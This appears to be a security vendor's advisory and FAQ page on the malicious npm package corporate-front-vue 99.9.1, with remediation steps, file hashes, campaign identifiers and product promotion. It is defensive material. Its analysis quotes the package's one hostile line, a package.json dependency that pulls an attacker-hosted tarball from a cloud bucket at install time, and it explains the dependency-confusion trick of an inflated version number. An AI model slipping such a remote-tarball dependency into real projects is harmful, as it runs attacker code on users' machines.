Which versions of corporate-front-vue are malicious?

The following npm versions of corporate-front-vue are flagged malicious: 99.9.1. Treat any of these as compromised.

How do I remediate corporate-front-vue if I installed it?

Remove corporate-front-vue from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed corporate-front-vue — how do I know if it already compromised me?

If corporate-front-vue was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is corporate-front-vue part of a known attack campaign?

Yes — corporate-front-vue is associated with the IN-MAL-2026-005036, IN-MAL-2026-005035, GHSA-j2pq-r63w-52j5, RLMA-2026-05523 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find corporate-front-vue across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for corporate-front-vue (version 99.9.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging corporate-front-vue across your stack and pipelines.

Malicious package

corporate-front-vuenpm

Malicious code in corporate-front-vue (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5438

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall corporate-front-vue

What this malware does

[email protected] is a near-empty shim (index.js exports an empty object) whose only meaningful content is a tarball-URL dependency declared in package.json: "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.9.7.tgz". On npm install, npm fetches and installs that tarball directly from an arbitrary Google Cloud Storage bucket — bypassing npm registry review — and executes whatever lifecycle scripts and code it contains on the installer's machine. The package metadata reinforces the dependency-confusion shape: version 99.9.1 (a classic high-overshoot designed to outrank an internal-registry package of the same name), empty description, empty author, default ISC license. The path segment depenconf in the tarball URL further matches the dependency-confusion pattern. The registry-visible package exists solely as a loader for non-registry, attacker-controlled bytes.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

99.9.1

Indicators of compromise (SHA-256)

97f5749ef14c0d24376c094ef5d1b19fa0d03a2729b61f4a170b21dc0c876f91

d26a235f294aacb3800465f89db0f33ecb54f09da450ee98543f8b039249fc12

d7afd5758856a97831432ae76a0fd98a9cd41a5065ec890f8f922ccb98967476

7e5e12bb9d7aafdc21a31d99a2fdba5b933590776e3d8fe9cafe384e6ed1849b

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for corporate-front-vue (version 99.9.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging corporate-front-vue across your stack and pipelines.
If you installed it — respond
Remove corporate-front-vue from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If corporate-front-vue was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks corporate-front-vue before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. corporate-front-vue on npm has been identified as a malicious package (version 99.9.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005036IN-MAL-2026-005035GHSA-j2pq-r63w-52j5RLMA-2026-05523

References

Credits

Amazon Inspector · finder
ReversingLabs · finder

Detect & block this

O3 blocks corporate-front-vue-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring